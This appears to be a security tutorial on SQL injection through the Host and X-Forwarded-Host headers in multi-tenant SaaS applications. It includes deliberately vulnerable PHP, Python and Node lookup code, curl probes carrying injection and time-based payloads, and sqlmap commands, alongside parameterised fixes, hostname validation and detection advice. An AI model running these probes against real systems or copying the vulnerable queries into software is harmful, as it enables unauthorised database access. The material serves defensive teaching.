Host header SQL injection is the multi-tenant SaaS variant of the bug. The application receives a request with Host: acme.app.example, looks up "which tenant is acme" in its database, and uses that lookup to route the request. If the lookup query concatenates the host value rather than parameterising it, the Host header becomes a SQL injection vector. The same pattern applies to X-Forwarded-Host when the app reads that header behind a proxy.
This is one of the per-vector leaves under the SQL injection deep dive and the HTTP request vector map.
In short: Host-header SQL injection is the multi-tenant SaaS variant of the bug. The application receives a request, reads the
Hostheader (orX-Forwarded-Hostbehind a proxy) to identify which tenant it belongs to, and concatenates that hostname into a database lookup against atenantsorcustom_domainstable. Wildcard DNS and custom-domain support both make this code path attacker-reachable on every request. The exploit is one curl command with a crafted-H "Host: ..."value. The fix is parameterise the lookup, validate the host shape against the RFC 1123 hostname regex before use, and cache the hostname-to-tenant mapping so the database lookup runs once per tenant rather than once per request. sqlmap tests Host only at--level=5, or explicitly with--headers='Host: tenant.app*'.
Why multi-tenant routing creates this vector
The shared-hostname pattern works like this:
- Customers get hostnames like
acme.app.example,globex.app.example. - All hostnames resolve to the same servers via wildcard DNS (
*.app.example). - The application reads the
Hostheader on every request to determine which tenant the request belongs to. - The tenant lookup is typically a database query: "find the tenant where hostname =
acme.app.example."
The lookup query is the candidate site. If it concatenates rather than parameterises, the Host header is in a SQL context on every single request to the platform.
Custom domain support adds another layer (see PortSwigger's HTTP Host header attacks for the broader Host-header attack surface): customers can point their own domains (app.acme.com) at the platform. The lookup now needs to handle both the platform's wildcard subdomain and arbitrary custom domains, which sometimes pushes developers toward more dynamic SQL.
Where does Host-header SQL injection actually show up?
- Tenant lookup by hostname. "Find the tenant for this Host." Every request to a multi-tenant SaaS triggers this query.
- Custom-domain lookup. "Find the tenant by their custom domain mapping."
- Subdomain-as-tenant-identifier extraction with database lookup. "Parse the subdomain and look up its tenant."
- Audit logging of the hostname. Same pattern as User-Agent logging.
- Per-host configuration lookup. "Fetch the theme/feature flags for this hostname."
Cases 1 and 2 are the most exposed because they execute on every request and they sit on a code path that is often hand-rolled rather than framework-provided.
The vulnerable code
PHP, the tenant-lookup case:
$host = $_SERVER['HTTP_HOST']; // includes the port if non-default
$sql = "SELECT id, name FROM tenants WHERE hostname = '$host'";
$tenant = mysqli_query($conn, $sql)->fetch_assoc();Python with Flask, custom-domain case:
host = request.headers.get('Host', '').split(':')[0] # strip port
row = db.execute(
f"SELECT tenant_id FROM custom_domains WHERE domain = '{host}'"
).fetchone()Node.js with Express, subdomain extraction:
const host = req.headers['host'].split(':')[0];
const subdomain = host.split('.')[0];
const result = await pool.query(
`SELECT * FROM tenants WHERE subdomain = '${subdomain}'`
);Same shape, different parsing. The bug is the concatenation.
Why developers think it's safe
- "The Host header is set by the browser based on the URL, the user did not type it." No. The user can navigate to any URL they want, including one with an attacker-crafted Host portion. They can also send a raw HTTP request with any Host value.
- "My DNS only resolves valid tenant hostnames." DNS resolves anything the attacker requests. They can send
Host: ' OR 1=1-- -.app.exampleand your DNS configuration is irrelevant; the request still reaches your server. - "The load balancer rejects requests with invalid Host." Most do not. They route by Host but accept anything.
- "It's just the hostname, what could go wrong?" It is a string. Strings concatenated into SQL queries injection-bug.
How do you test the Host header for SQL injection by hand?
The Host header is set by the HTTP client. curl sets it from the URL by default, but -H "Host: ..." overrides:
# Baseline
curl -s -H "Host: acme.app.example" "https://app.example/api/ping" \
-o baseline.json
# Probe
curl -s -H "Host: acme' OR '1'='1" "https://app.example/api/ping" \
-o probe.json
diff baseline.json probe.json | headIf the response changes (different tenant returned, different rendered content, a different status code), the Host header is in a SQL context.
Error-trigger:
curl -i -H "Host: '" "https://app.example/api/ping" 2>&1 | head -20Time-based:
curl -w "\n%{time_total}\n" \
-H "Host: acme' AND SLEEP(5)-- -" \
"https://app.example/api/ping"5+ second response confirms it.
For an application that reads X-Forwarded-Host instead of Host (common behind a proxy that rewrites the Host header):
curl -H "X-Forwarded-Host: acme' OR '1'='1" \
"https://app.example/api/ping"What is the sqlmap command for Host-header injection?
Discovery with --level=5 (Host is gated at the highest level per the sqlmap official Usage wiki):
sqlmap -u "https://app.example/api/ping" \
--level=5 --batch --random-agentExplicit with --headers and *:
sqlmap -u "https://app.example/api/ping" \
--headers="Host: acme.app.example*" \
--batchFor X-Forwarded-Host:
sqlmap -u "https://app.example/api/ping" \
--headers="X-Forwarded-Host: acme.app.example*" \
--batchOnce injection is confirmed, the enumeration sequence is identical to every other vector. See the sqlmap cheat sheet.
Detection signals
- Host values that are not valid hostnames. A real Host header matches
^[a-zA-Z0-9.-]+(\:\d+)?$. Anything containing single quotes, comment markers, or SQL keywords is exploitation. - Host values with no matching tenant. Legitimate requests resolve to a known tenant. Probes resolve to nothing in particular. A spike of "unknown tenant" lookups from one source IP is signal.
- The standard
information_schemaread. As ever.
A high-leverage rule for multi-tenant SaaS: validate the Host header matches the hostname-regex at the WAF or reverse proxy, before the application sees it. Drop the request if it does not parse.
How do you defend against Host-header SQL injection?
Parameterise the tenant lookup. Same rule. Python:
host = request.headers.get('Host', '').split(':')[0]
row = db.execute(
"SELECT tenant_id FROM custom_domains WHERE domain = ?",
(host,)
).fetchone()Validate the host shape before lookup. Hostnames have a structure (RFC 1123 / RFC 5891). Reject anything that does not parse:
import re
HOSTNAME_RE = re.compile(r'^[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?(\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$')
def safe_host(raw):
if not raw:
return None
candidate = raw.split(':')[0]
if HOSTNAME_RE.match(candidate):
return candidate
return NoneThe regex rejects anything containing quotes, comment markers, or SQL keywords. Validation plus parameterisation is the layered defence.
Use a cache. Tenant lookups happen on every request; database tenant lookups are slow and an exploitation vector. Cache the hostname-to-tenant mapping in memory or Redis, populated from the database on a schedule. The database query then runs once per tenant per cache TTL, drastically reducing the attack surface.
Defence at the infrastructure level
- Validate Host at the reverse proxy. nginx:
if ($host !~* "^[a-zA-Z0-9.-]+$") { return 400; }. HAProxy and others have equivalents. Bad Host values get rejected before reaching the application. - Wildcard certificate scope. Your TLS certificate covers
*.app.example. An attacker sendingHost: ' OR 1=1' . app.examplewill fail the cert validation before reaching application code in most well-configured setups. Use this as a defence-in-depth layer; do not rely on it as primary. - Separate the lookup database user. The tenant-lookup query needs SELECT on
tenantsandcustom_domainsand nothing else. Definitely no SELECT oninformation_schema. If the SQLi succeeds, the attacker can read one table.
Common defence mistakes
- Splitting the Host on
:to strip the port and considering the value clean. Stripping the port does nothing for injection. - Validating in the routing middleware but the audit middleware logs the raw header. Both code paths need defence.
- Trusting Host when reading X-Forwarded-Host behind a proxy. If the proxy passes both, validate both.
- Relying on DNS to enforce valid hostnames. DNS is on the client side; the server sees what was sent.
Where to go next
- X-Forwarded-For SQL injection, the related proxy-header case
- User-Agent SQL injection, the highest-volume header vector
- HTTP request vector map, the parent listicle
- SQL injection deep dive, the spoke with the variant taxonomy
- sqlmap cheat sheet for the full flag reference
Sources
Authoritative references this article was fact-checked against.
- OWASP, SQL Injectionowasp.org
- PortSwigger, HTTP Host header attacksportswigger.net





